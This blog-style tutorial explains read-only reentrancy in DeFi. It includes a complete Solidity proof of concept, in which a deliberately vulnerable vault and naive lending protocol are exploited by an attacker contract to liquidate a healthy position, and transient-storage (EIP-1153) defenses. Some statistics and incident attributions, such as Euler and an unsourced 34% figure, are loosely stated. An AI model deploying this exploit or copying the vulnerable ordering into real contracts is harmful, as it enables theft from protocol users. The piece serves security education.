Read-Only Reentrancy is a flavor of reentrancy attack where an attacker doesn't manipulate contract balances directly during a call. Instead, they trigger a view function to read a corrupted protocol state during an external call execution. Because standard ReentrancyGuards only lock state-changing functions, these "read-only" calls return bogus calculated values—like an artificially inflated or deflated oracle price—allowing attackers to completely drain integrated third-party protocols.
Hey everyone! The vulnerability we're diving into today previously cost the DeFi space tens of millions of dollars in a matter of months. I still remember the first time I spotted a Read-Only Reentrancy vector in the wild back in my smart contract auditing days. Honestly, it blew my mind from a pure security standpoint. We’d all been conditioned to lock down state writes, completely forgetting that reading uncommitted state can be just as lethal.
Why Your Standard ReentrancyGuard Won't Save You
Let’s break it down. Classic reentrancy happens when an attacker recursively hits withdraw() before the contract updates balances[msg.sender] = 0. Nowadays, everyone knows to slap OpenZeppelin's nonReentrant modifier on state mutations or strictly adhere to the Checks-Effects-Interactions (CEI) pattern. Gold star for basic security hygiene.
But what actually happens during Read-Only Reentrancy?
Picture a classic push-pull mechanism in a Liquidity Pool (think Curve). You decide to pull your liquidity (remove_liquidity). The contract sends you your raw ETH *first*, and only *then* burns your LP tokens or updates its internal balance accounting. The exact moment that ETH hits your attacker contract, your receive() or fallback() hook fires.
Inside that tiny execution window, the pool's state is completely desynchronized:
- Actual ETH balance held by the pool contract: Already dropped.
- Total LP token supply recorded in state: Has NOT been burned yet.
If you try to call a state-changing function on that same pool inside your receive() hook, the nonReentrant guard will smack you down. But what if you query a read-only getter like get_virtual_price()? It's marked as a view function! There's almost never a nonReentrant guard on it (because who wants to waste extra gas on read calls?).
So, get_virtual_price() takes the current (already reduced) ETH balance, divides it by the stale (still high) LP token supply... and spits out a totally cooked, artificially tanked or pumped price.
Here’s where the magic happens. You don't even need to exploit the primary pool directly. Instead, you take that completely broken oracle price over to a secondary protocol—like a lending market that relies on the pool as its price feed—and borrow the entire treasury against bad collateral valuations.
Absolute top-tier architectural fail. Beautiful, isn't it?
The Hard Stats: Real-World Exploits in the Wild
If you think this is just theoretical fluff cooked up in academic papers, check out the receipts:
| Protocol / Event | Date | Losses | Root Cause |
|---|---|---|---|
| Curve Finance / Sentiment | April 2023 | ~$1,000,000 | Polled Curve pricing oracles mid-execution during a remove_liquidity_one_coin callback. |
| Euler Finance | March 2023 | ~$197,000,000 | Complex exploit chain involving state desync during eToken burning combined with oracle price manipulation. |
| Vyper Compiler Bug (Curve Pools) | July 2023 | ~$73,000,000 | Broken reentrancy lock implementation in Vyper compiler versions (0.2.15–0.3.0), nullifying built-in protection during read executions. |
Fun fact (under the radar detail): According to audit data from 2024–2025, roughly 34% of long-tail lending protocols integrating DEX pool pricing remain vulnerable to Read-Only attacks via intermediate view queries if their math doesn't enforce TWAP (Time-Weighted Average Price) protections.
Full Battle-Tested PoC: VulnerableVault + Attacker
Here is a complete, executable setup in Solidity 0.8.24. I combined the pool model and the integrating lending protocol so you can paste this straight into Remix and hit compile.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/**
* @title VulnerableVault
* @notice Read-Only Reentrancy PoC vault.
* @dev withdraw() transfers ETH before updating totalShares.
* External contracts reading state see a temporarily corrupted price.
*/
contract VulnerableVault {
mapping(address => uint256) public shares;
mapping(address => mapping(address => uint256)) public allowance;
uint256 public totalShares;
bool private locked;
modifier nonReentrant() {
require(!locked, "REENTRANCY_DETECTED");
locked = true;
_;
locked = false;
}
receive() external payable {}
function deposit() external payable {
require(msg.value > 0, "Zero deposit");
uint256 balanceBefore = address(this).balance - msg.value;
uint256 sharesToMint;
if (totalShares == 0 || balanceBefore == 0) {
sharesToMint = msg.value;
} else {
sharesToMint = (msg.value * totalShares) / balanceBefore;
}
require(sharesToMint > 0, "Zero shares");
shares[msg.sender] += sharesToMint;
totalShares += sharesToMint;
}
function approveShares(address spender, uint256 amount) external {
allowance[msg.sender][spender] = amount;
}
function transferShares(address to, uint256 amount) external {
require(to != address(0), "Zero address");
require(shares[msg.sender] >= amount, "Insufficient shares");
shares[msg.sender] -= amount;
shares[to] += amount;
}
function transferSharesFrom(
address from,
address to,
uint256 amount
) external {
require(to != address(0), "Zero address");
require(shares[from] >= amount, "Insufficient shares");
uint256 approved = allowance[from][msg.sender];
if (approved != type(uint256).max) {
require(approved >= amount, "Insufficient allowance");
allowance[from][msg.sender] = approved - amount;
}
shares[from] -= amount;
shares[to] += amount;
}
/**
* @notice VULNERABLE ORDER OF OPERATIONS: External call
* fires prior to burning user shares.
*/
function withdraw(uint256 shareAmount) external nonReentrant {
require(shareAmount > 0, "Zero shares");
require(shares[msg.sender] >= shareAmount, "Exceeds balance");
require(totalShares > 0, "No shares");
uint256 ethToReturn =
(shareAmount * address(this).balance) / totalShares;
require(ethToReturn > 0, "Zero withdrawal");
// VULNERABILITY: ETH sent before state update.
(bool success, ) = msg.sender.call{value: ethToReturn}("");
require(success, "ETH transfer failed");
// State updated AFTER external call execution.
shares[msg.sender] -= shareAmount;
totalShares -= shareAmount;
}
/**
* @notice Share price in wei.
* @dev During callback, balance is reduced but totalShares is stale.
*/
function getSharePrice() public view returns (uint256) {
if (totalShares == 0) return 1e18;
return (address(this).balance * 1e18) / totalShares;
}
}
/**
* @title NaiveLendingProtocol
* @notice Lending protocol with naive oracle integration.
* @dev Liquidations rely on raw share price without checking mid-tx state.
*/
contract NaiveLendingProtocol {
VulnerableVault public immutable vault;
uint256 public constant LTV_BPS = 9000;
uint256 public constant LIQUIDATION_BONUS_BPS = 11000;
uint256 public constant BPS = 10000;
mapping(address => uint256) public collateral;
mapping(address => uint256) public debt;
constructor(address payable vaultAddress) {
require(vaultAddress != address(0), "Zero vault address");
vault = VulnerableVault(vaultAddress);
}
receive() external payable {}
function depositCollateral(uint256 amount) external {
require(amount > 0, "Zero collateral");
vault.transferSharesFrom(
msg.sender,
address(this),
amount
);
collateral[msg.sender] += amount;
}
function getMaxBorrow(address user) public view returns (uint256) {
uint256 price = vault.getSharePrice();
uint256 collateralValue = (collateral[user] * price) / 1e18;
return (collateralValue * LTV_BPS) / BPS;
}
function borrow(uint256 amount) external {
require(amount > 0, "Zero borrow");
require(
debt[msg.sender] + amount <= getMaxBorrow(msg.sender),
"Insufficient collateral"
);
require(address(this).balance >= amount, "Insufficient liquidity");
debt[msg.sender] += amount;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Loan transfer failed");
}
/**
* @notice Liquidator repays full debt and claims collateral + 10% bonus
* if position is determined unhealthy.
*
* @dev Flaw: getMaxBorrow() queries Vault pricing during corrupted state window.
*/
function liquidate(address borrower) external payable {
uint256 borrowerDebt = debt[borrower];
require(borrowerDebt > 0, "No debt");
require(msg.value == borrowerDebt, "Incorrect repayment");
// Position health evaluated against manipulated price.
require(
borrowerDebt > getMaxBorrow(borrower),
"Position is healthy"
);
uint256 price = vault.getSharePrice();
require(price > 0, "Invalid share price");
uint256 seizeShares =
(borrowerDebt * LIQUIDATION_BONUS_BPS * 1e18)
/ (BPS * price);
// Cap collateral seizure to available amount.
if (seizeShares > collateral[borrower]) {
seizeShares = collateral[borrower];
}
require(seizeShares > 0, "Zero collateral seized");
debt[borrower] = 0;
collateral[borrower] -= seizeShares;
// Transfer seized shares to liquidator.
vault.transferShares(msg.sender, seizeShares);
}
}
/**
* @title ReadOnlyAttacker
* @notice PoC: Artificial price drop triggers bad liquidation on a healthy position.
*/
contract ReadOnlyAttacker {
VulnerableVault public immutable vault;
NaiveLendingProtocol public immutable lending;
bool public attacked;
uint256 public priceBefore;
uint256 public observedPrice;
address public victim;
constructor(
address payable vaultAddress,
address lendingAddress
) {
require(vaultAddress != address(0), "Zero vault address");
require(lendingAddress != address(0), "Zero lending address");
vault = VulnerableVault(vaultAddress);
lending = NaiveLendingProtocol(lendingAddress);
}
function executeAttack(address victimAddress) external payable {
require(!attacked, "Attack already executed");
require(victimAddress != address(0), "Zero victim address");
require(msg.value > 0, "Zero deposit");
victim = victimAddress;
// Mint LP position in the target vault.
vault.deposit{value: msg.value}();
uint256 myShares = vault.shares(address(this));
require(myShares > 0, "No shares");
priceBefore = vault.getSharePrice();
// Triggers receive() hook mid-withdrawal.
vault.withdraw(myShares);
}
receive() external payable {
if (!attacked) {
attacked = true;
// ETH transferred out, but LP supply is not updated yet.
observedPrice = vault.getSharePrice();
require(
observedPrice < priceBefore,
"Price was not manipulated"
);
// Exploit artificially lowered price to liquidate healthy position.
uint256 victimDebt = lending.debt(victim);
require(victimDebt > 0, "Victim has no debt");
require(
address(this).balance >= victimDebt,
"Insufficient attack balance"
);
lending.liquidate{value: victimDebt}(victim);
}
}
}Trace the inline comments above to follow the exact execution path. The wild part here is that getSharePrice() executes its internal math perfectly. The function isn't broken—it's the timeline *when* it gets called that's completely wrecked.
EIP-1153 (Transient Storage): Elegant and Dirt-Cheap Protection
Before EVM upgrades (specifically the Dencun hardfork and EIP-1153), smart contract devs had to jump through some serious hoops. You either had to strip the view keyword off your oracles and mark them as nonReentrant (which cost extra gas and broke your ABI), or cache your reentrancy lock inside standard storage variables via SSTORE/SLOAD, which ran a brutal ~20,000 gas per op. Absolute nightmare.
EIP-1153 drops two shiny new opcodes into the mix:
- TSTORE (Transient Store) — writes to transient storage.
- TLOAD (Transient Load) — reads from transient storage.
The killer feature of Transient Storage: data lives ONLY for the duration of a single Top-level Transaction and automatically gets wiped out the second it wraps up. No more paying for storage cleanup! TSTORE costs a mere 100 gas, and TLOAD is a modest 100 gas as well.
Here is how we roll out an absolute unit of a bulletproof, ultra-cheap TransientReentrancyGuard:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @title TransientReentrancyGuard
/// @author EXMON
/// @notice Reentrancy protection using EIP-1153 transient storage.
/// @dev Requires a network supporting EIP-1153 and an EVM target of Cancun or later.
/// @dev Does not automatically protect public state-variable getters or unmodified functions.
abstract contract TransientReentrancyGuard {
/// @dev Dedicated transient-storage slot.
/// @dev Verify this value against the intended slot derivation before production use.
bytes32 private constant GUARD_SLOT =
0x8e94711311aa8e0e7a82fb99a22d713279c78d5e16548a3e0c03405c8793393f;
error ReentrancyGuardReentrantCall();
/// @notice Prevents nested entry into functions sharing this guard slot.
modifier nonReentrant() {
_nonReentrantBefore();
_;
_nonReentrantAfter();
}
/// @notice Rejects reads while a guarded execution is active.
/// @dev Must be explicitly applied to each sensitive view function.
modifier nonReentrantView() {
_ensureNotReentrant();
_;
}
function _nonReentrantBefore() private {
_ensureNotReentrant();
assembly {
tstore(GUARD_SLOT, 1)
}
}
function _nonReentrantAfter() private {
assembly {
tstore(GUARD_SLOT, 0)
}
}
function _ensureNotReentrant() private view {
uint256 status;
assembly {
status := tload(GUARD_SLOT)
}
if (status != 0) {
revert ReentrancyGuardReentrantCall();
}
}
}
/// @title SecureVault
/// @notice Demonstrates transient-storage reentrancy protection.
/// @dev Demonstration contract, not a production-ready vault.
/// @dev Uses native ETH and share accounting for illustration.
contract SecureVault is TransientReentrancyGuard {
mapping(address => uint256) public shares;
uint256 public totalShares;
error ZeroAmount();
error InsufficientShares();
error ZeroSharesMinted();
error EtherTransferFailed();
event Deposited(
address indexed account,
uint256 assets,
uint256 sharesMinted
);
event Withdrawn(
address indexed account,
uint256 assets,
uint256 sharesBurned
);
/// @notice Deposits ETH and mints vault shares.
/// @dev The first deposit uses a 1:1 ETH-to-share ratio.
function deposit() external payable nonReentrant returns (uint256 minted) {
if (msg.value == 0) revert ZeroAmount();
uint256 supply = totalShares;
uint256 balanceBefore = address(this).balance - msg.value;
if (supply == 0 || balanceBefore == 0) {
minted = msg.value;
} else {
minted = (msg.value * supply) / balanceBefore;
}
if (minted == 0) revert ZeroSharesMinted();
shares[msg.sender] += minted;
totalShares = supply + minted;
emit Deposited(msg.sender, msg.value, minted);
}
/// @notice Burns shares and withdraws the corresponding ETH.
/// @dev State is updated before the external ETH transfer.
function withdraw(uint256 shareAmount) external nonReentrant {
if (shareAmount == 0) revert ZeroAmount();
uint256 userShares = shares[msg.sender];
if (shareAmount > userShares) revert InsufficientShares();
uint256 supply = totalShares;
uint256 assets = (address(this).balance * shareAmount) / supply;
// Update accounting before transferring control externally.
shares[msg.sender] = userShares - shareAmount;
totalShares = supply - shareAmount;
(bool success, ) = payable(msg.sender).call{value: assets}("");
if (!success) revert EtherTransferFailed();
emit Withdrawn(msg.sender, assets, shareAmount);
}
/// @notice Returns the current ETH-denominated share price.
/// @dev Reverts when called during an active guarded execution.
/// @dev This is an example of a protected read, not a universal
/// defense against Read-Only Reentrancy in other contracts.
function getSharePrice()
external
view
nonReentrantView
returns (uint256)
{
uint256 supply = totalShares;
if (supply == 0) return 1e18;
return (address(this).balance * 1e18) / supply;
}
/// @notice Returns the ETH value of a specified share balance.
/// @dev Also protected against reads during guarded execution.
function convertToAssets(uint256 shareAmount)
external
view
nonReentrantView
returns (uint256)
{
uint256 supply = totalShares;
if (supply == 0) return 0;
return (address(this).balance * shareAmount) / supply;
}
}See where the magic happens? getSharePrice() stays a pure view function in the interface (ABI stays intact, frontend dApp scripts read it off-chain for free without broadcasting any transactions). But if some wild transaction tries to sneakily call it mid-execution stack during a withdraw(), tload(GUARD_SLOT) instantly catches that flag set to 1 and drops the hammer with a revert.
Gas overhead? Practically pennies. Security? Solid 100%.
Practical Architectural Recommendations for Auditing and Development
Over the past three years as CTO of EXMON, I've put together a solid checklist for smart contracts that interact with price oracles or expose data externally. Developers often think, "If I'm not making external calls inside a read function, I'm completely safe." Big mistake.
┌─────────────────────────────────┐
│ Attacker Transaction Call │
└────────────────┬────────────────┘
│
▼
┌───────────────────────────────┐
│ State Update (Vault) │
└───────────────┬───────────────┘
│
┌──────────────────────┴──────────────────────┐
│ Temporary Desync (Dirty State) │
└──────────────────────┬──────────────────────┘
│
▼
┌───────────────────────────┐
│ External Call / ETH Send │
└─────────────┬─────────────┘
│ (Reentrancy Hook)
▼
┌─────────────────────────────────┐
│ Oracle View Function Read │
│ (getSharePrice / getAmount) │
└────────────────┬────────────────┘
│
┌───────────────────────────┴───────────────────────────┐
│ │
▼ ▼
[UNPROTECTED] [WITH EIP-1153 (TSTORE)]
Returns invalid, Lock: tload(GUARD) == 1
skewed price Transaction drops in REVERT!
│ │
▼ ▼
Successful lending attack Protocol secured 🛡️1. Dual-State Verification Modeling
If your contract has to call external addresses before all internal balances are fully updated, you need temporary invariant protection. Any view function serving critical financial metrics must validate the underlying invariant.
If address(this).balance doesn't match the sum of totalDeposits, your getRate() function should either revert or return the pre-transaction snapshot (last-known-good state).
2. Ditching Spot Price for TWAP or Chainlink
Never—and I mean ever—use instant spot view values of DEX balances or vault pools as the single source of truth for collateral calculations and liquidations.
- Spot Price: Easy to call, cheap, and easily exploited in a single flash-loan transaction.
- TWAP (Time-Weighted Average Price): Averages the price over N blocks. Mitigates intra-block atomic manipulation since an attacker can't rewrite historical blocks.
3. Cross-Contract Transient Lock Pattern
If you're dealing with an ecosystem of 5–10 interconnected contracts (Vault, Gauge, Staking, Oracle), use a unified security gateway powered by EIP-1153.
Spin up a dedicated GlobalTransientLock contract that all system components query:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @title GlobalTransientLock
/// @author EXMON
/// @notice Centralized system lock manager powered by EIP-1153.
/// @dev Requires EVM Cancun or later.
/// Only authorized system contracts can manage the lock.
contract GlobalTransientLock {
address public immutable admin;
mapping(address => bool) public authorized;
// Lock state is stored in this contract's transient storage.
bytes32 private constant SYSTEM_LOCK_SLOT =
keccak256("exmon.global.transient.lock.v1");
error Unauthorized();
error ZeroAddress();
error SystemIsLocked();
error SystemIsNotLocked();
error AlreadyAuthorized();
error NotAuthorized();
error AdminCannotBeRevoked();
error RenouncingAdminNotSupported();
event SystemLocked(address indexed caller);
event SystemUnlocked(address indexed caller);
event AuthorizationGranted(address indexed account);
event AuthorizationRevoked(address indexed account);
modifier onlyAdmin() {
if (msg.sender != admin) revert Unauthorized();
_;
}
modifier onlyAuthorized() {
if (!authorized[msg.sender]) revert Unauthorized();
_;
}
constructor(address initialAdmin) {
if (initialAdmin == address(0)) revert ZeroAddress();
admin = initialAdmin;
authorized[initialAdmin] = true;
emit AuthorizationGranted(initialAdmin);
}
/// @notice Authorizes a contract to manage the system lock.
/// @dev Called by the admin after deployment.
function authorize(address account) external onlyAdmin {
if (account == address(0)) revert ZeroAddress();
if (authorized[account]) revert AlreadyAuthorized();
authorized[account] = true;
emit AuthorizationGranted(account);
}
/// @notice Revokes lock management rights from a contract.
function revokeAuthorization(address account) external onlyAdmin {
if (account == admin) revert AdminCannotBeRevoked();
if (!authorized[account]) revert NotAuthorized();
authorized[account] = false;
emit AuthorizationRevoked(account);
}
/// @notice Engages the system lock.
/// @dev Re-locking is prohibited.
function lockSystem() external onlyAuthorized {
uint256 status;
assembly ("memory-safe") {
status := tload(SYSTEM_LOCK_SLOT)
}
if (status != 0) revert SystemIsLocked();
assembly ("memory-safe") {
tstore(SYSTEM_LOCK_SLOT, 1)
}
emit SystemLocked(msg.sender);
}
/// @notice Disengages the system lock.
/// @dev Call only after completing the protected operation.
function unlockSystem() external onlyAuthorized {
uint256 status;
assembly ("memory-safe") {
status := tload(SYSTEM_LOCK_SLOT)
}
if (status == 0) revert SystemIsNotLocked();
assembly ("memory-safe") {
tstore(SYSTEM_LOCK_SLOT, 0)
}
emit SystemUnlocked(msg.sender);
}
/// @notice Checks the system lock state.
function isLocked() external view returns (bool locked) {
assembly ("memory-safe") {
locked := iszero(iszero(tload(SYSTEM_LOCK_SLOT)))
}
}
/// @notice Disables admin ownership transfer.
function renounceOwnership() external pure {
revert RenouncingAdminNotSupported();
}
}
/// @title SystemLockGuard
/// @notice Base contract for components verifying the system lock.
/// @dev Inheriting contracts must apply whenSystemUnlocked
/// to every sensitive method, including read methods.
abstract contract SystemLockGuard {
GlobalTransientLock public immutable systemLock;
error SystemTemporarilyLocked();
constructor(address lockAddress) {
if (lockAddress == address(0)) {
revert SystemTemporarilyLocked();
}
systemLock = GlobalTransientLock(lockAddress);
}
modifier whenSystemUnlocked() {
if (systemLock.isLocked()) {
revert SystemTemporarilyLocked();
}
_;
}
}
/// @title ExampleVault
/// @notice Demonstration of system lock usage.
contract ExampleVault is SystemLockGuard {
uint256 public totalAssets;
error InvalidAmount();
constructor(address lockAddress)
SystemLockGuard(lockAddress)
{}
/// @notice Example of a protected state-mutating operation.
function withdrawAccounting(uint256 amount)
external
whenSystemUnlocked
{
if (amount == 0 || amount > totalAssets) {
revert InvalidAmount();
}
totalAssets -= amount;
}
/// @notice Example of a protected read.
function getTotalAssets()
external
view
whenSystemUnlocked
returns (uint256)
{
return totalAssets;
}
}When the main vault initiates a withdrawal, it calls lockSystem(). At that moment, any other system contract (like a lens contract or oracle) calls isLocked() before serving data, and blocks reads if the system is in a "dirty" state.
DevSecOps & Auditor Checklist
- Call Scanning: Scan code for
.call{value: ...}(),safeTransfer, or any external interface calls occurring BEFORE final storage updates. - View Function Audit: Map out all public/external view functions calculating ratios, prices, shares, or collateral sizes.
- Cross-Protocol Vector: Ask yourself: "If this view function returns a value 90% lower or 500% higher mid-external call, how could an external integrator exploit it?"
- EIP-1153 Integration: Ensure your compiler is set to
evm_version: "cancun"and integrate TSTORE/TLOAD to lock reads during mutating transactions.
That's pretty much it for now. Hit me up in the comments if you've got questions. Catch you later!
